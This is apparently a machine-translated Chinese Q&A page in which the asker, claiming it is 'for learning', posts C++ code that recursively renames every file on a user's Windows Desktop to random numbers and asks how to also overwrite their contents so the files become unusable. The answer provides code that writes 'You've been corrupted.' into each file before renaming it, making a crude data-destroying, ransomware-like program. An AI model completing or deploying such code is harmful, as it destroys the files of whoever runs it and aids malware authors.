我如何更改文件的数据?

问题描述 投票:-2回答:1

我正在设置有关“加密文件”的新代码(仅供学习,我的程序是要更改所选路径中的整个文件名。

我正在使用文件系统库

我的问题是,在调试后更改名称后,我可以将文件重命名为他的名字,并且数据不会更改或删除,我想制作一个程序来读取文件并更改他的数据,使文件无法进入。

我还没有尝试过任何东西。

这是我的代码,希望其中一个人可以编辑并解释他如何更改特定路径中文件的数据。

srand(time(0));
    string dirPath = "C:\\Users\\" + i() + "\\Desktop";
    auto path = fs::path(dirPath);
    auto dir = fs::recursive_directory_iterator(path);
    int fileName = rand() % 1111111;
    filesystem::path currPath = path;
    auto innerPaths = vector<fs::path>();
    innerPaths.push_back(currPath);
    auto currentDepthSize = dir.depth();
    for (auto& block : dir)
    {
        if (currentDepthSize != dir.depth())
        {
            currentDepthSize = dir.depth();
            currPath = innerPaths[currentDepthSize];
        }
        if (block.is_directory())
        {
            currentDepthSize = dir.depth();
            currPath = dir->path();
            innerPaths.push_back(currPath);
        }
        else
        {
            fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
            fileName++;
        }
    }

感谢您阅读。

c++ file encryption file-io filesystems
1个回答
0
投票

我浏览了您的代码,试图找到文件重命名的位置。

看起来您现在在代码中找到了一个文件:

else
{
    fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
    fileName++;
}

您可以在重命名文件之前写入文件:

else
{
    std::string the_filename = fs::path(currPath.string() + "\\" + std::to_string(fileName));
    std::ofstream the_file_stream(the_filename);
    the_file_stream << "You've been corrupted." << std::endl;
    the_file_stream.close();
    fs::rename(block.path(), the_filename);
    fileName++;
}

另一个方法是调用一个写入文件的函数:

else
{
    Change_File_Content(fs::path(currPath.string() + "\\" + std::to_string(fileName)));
    fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
    fileName++;
}

我查找了如何使用std::fstream写入文件,并意识到更改文件名后您也可以写入该文件:

else
{
    Change_File_Content(fs::path(currPath.string() + "\\" + std::to_string(fileName)));
    fs::rename(block.path(), fs::path(currPath.string() + "\\" + std::to_string(fileName)));
    Change_File_Content(/* Insert filename or string containing filename here */);
    fileName++;
}
© www.soinside.com 2019 - 2024. All rights reserved.